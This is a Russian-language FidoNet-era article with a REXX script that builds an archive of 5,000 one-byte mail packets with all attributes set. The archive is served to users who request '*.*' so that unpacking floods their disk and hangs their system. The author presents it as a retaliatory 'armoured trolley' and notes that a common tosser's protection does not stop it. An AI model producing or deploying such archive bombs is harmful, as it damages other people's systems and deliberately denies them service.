Война как способ выживания...

 Автор: Andy Bogdanov

Источник: https://unixdoc.ua-i.net/mirrors/unix.stat.burnet.ru/rexx/war.html

       Лично мне военные действия не очень нравятся... Я мирный человек - но как в песне поется - ...наш бронепоезд стоит на запасном пути :) вот пример такого - нет, не бронепоезда, скорее бронедрезины :) предназначен для борьбы с некоторыми надоедливыми личностями среди фидошников - именуются они дикими фрекальщиками - *.* (теми, кто пытается с вашего узла забрать все что только можно) соответственно, такими своими действиями они лишают остальных пользователей доступа к узлу на длительное время и есть риск что ваша  система маленько двинется крышей от такого количества запросов. Смысл скрипта очень простой и основан на особенностях работы фидошного почтового софта и операционных систем MS-DOS & Windows. Делаем массу почтовых пакетов, все это трамбуем архиватором в файл с определенным именем. Затем, при попытке файлового запроса вида *.* (ну или что-то другое - как вам больше нравится) отдаем этот файл вместо всего тогодобра что у нас хотели забрать. Удаленная система распаковывает этот "почтовый бандл" (если конечно там настолько наивный человек) и в результате забивает себе винчестер кучей однобайтных файлов (предлагаю самим посчитать сколько места займут 5000 таких файлов на гигабайтном винте под DOS :)) в результате подобных действий спокойствие нашей системы на ближайшую ночь гарантировано - система фрекальщика надолго зависнет.
----------------------
/*  */
call RxFuncAdd 'SysLoadFuncs', 'RexxUtil', 'SysLoadFuncs'
call SysLoadFuncs

f = 10000000

do i = 1 to 5000
   f1 = f + i
   call CharOut f1'.pkt','01'x
   call Stream f1'.pkt','c','close'
end
/*
создаем кучу однобайтных файлов с разными именами
*/
call SysFileTree '*.pkt',k,'F','+****','+++++'
/*
присваиваем им все возможные атрибуты
*/
'pkzip -S -m SexHotel.We0 *.pkt'
/*
трамбуем архиватором
*/
call SysFileTree '*.pkt',k,'F','+****','+----'
/*
снимаем атрибуты - удалять как-то надо...
*/
'del *.pkt /n'

exit
----------------------

Пример этот очень простенький - тем не менее, стандартная защита тоссера FastEcho от него не спасает... Подобных вещей можно придумать массу :)
Еще одно уточнение - запускайте скрипт только на файловой системе HPFS!